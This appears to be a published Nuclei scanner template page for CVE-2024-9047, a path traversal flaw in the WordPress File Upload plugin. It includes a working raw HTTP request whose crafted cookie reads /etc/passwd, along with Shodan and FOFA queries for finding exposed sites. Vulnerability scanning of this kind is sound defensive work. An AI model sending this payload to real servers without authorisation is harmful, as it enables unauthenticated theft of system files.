WordPress File Upload <= 4.24.11 - Arbitrary File Read

ID: CVE-2024-9047

Severity: critical

Author: s4e-io

Tags: cve,cve2024,wp,wordpress,wp-plugin,wp-file-upload,lfi

Description

The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.11 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read or delete files outside of the originally intended directory. Successful exploitation requires the targeted WordPress installation to be using PHP 7.4 or earlier.

YAML Source

id: CVE-2024-9047

info:
  name: WordPress File Upload <= 4.24.11 - Arbitrary File Read
  author: s4e-io
  severity: critical
  description: |
    The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.11 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read or delete files outside of the originally intended directory. Successful exploitation requires the targeted WordPress installation to be using PHP 7.4 or earlier.
  reference:
    - https://github.com/iSee857/CVE-2024-9047-PoC
    - https://nvd.nist.gov/vuln/detail/cve-2024-9047
    - https://plugins.trac.wordpress.org/changeset/3164449/wp-file-upload
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/554a314c-9e8e-4691-9792-d086790ef40f?source=cve
    - https://github.com/wy876/POC
    - https://www.usom.gov.tr/bildirim/tr-24-1670
    - https://sploitus.com/exploit?id=3358E6CC-BC63-56E4-A4C4-1F70903C34D5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9047
    cwe-id: CWE-22
    epss-score: 0.00091
    epss-percentile: 0.40349
  metadata:
    max-request: 1
    vendor: nickolas_bossinas
    product: wordpress-file-upload
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/wp-file-upload/"
    fofa-query: body="/wp-content/plugins/wp-file-upload"
    publicwww-query: /wp-content/plugins/wp-file-upload/
  tags: cve,cve2024,wp,wordpress,wp-plugin,wp-file-upload,lfi

variables:
  file: "{{rand_base(16)}}"
  ticket: "{{rand_base(16)}}"
  upload: "{{rand_base(32)}}"
  upload_more: "{{rand_base(32)}}"
  time: "{{rand_int(1000000000000, 9999999999999)}}"

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file={{file}}&ticket={{ticket}}&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_{{upload}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: wp_wpfileupload_{{upload}}={{upload_more}}; wfu_storage_{{file}}=/../../../../../etc/passwd[[name]]; wfu_download_ticket_{{ticket}}={{time}}; wfu_ABSPATH=/;

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - 'contains(content_type, "application/octet-stream")'
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502204eaff6646fcc7781a8d7c03aa5cba76fe63213328c0eaa1be1eb9dac211b26d6022100d386af2a88c087d9589a16d48df67219826dd53229f97143ebb0bdaa1fd737a3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-9047.yaml"

View on Github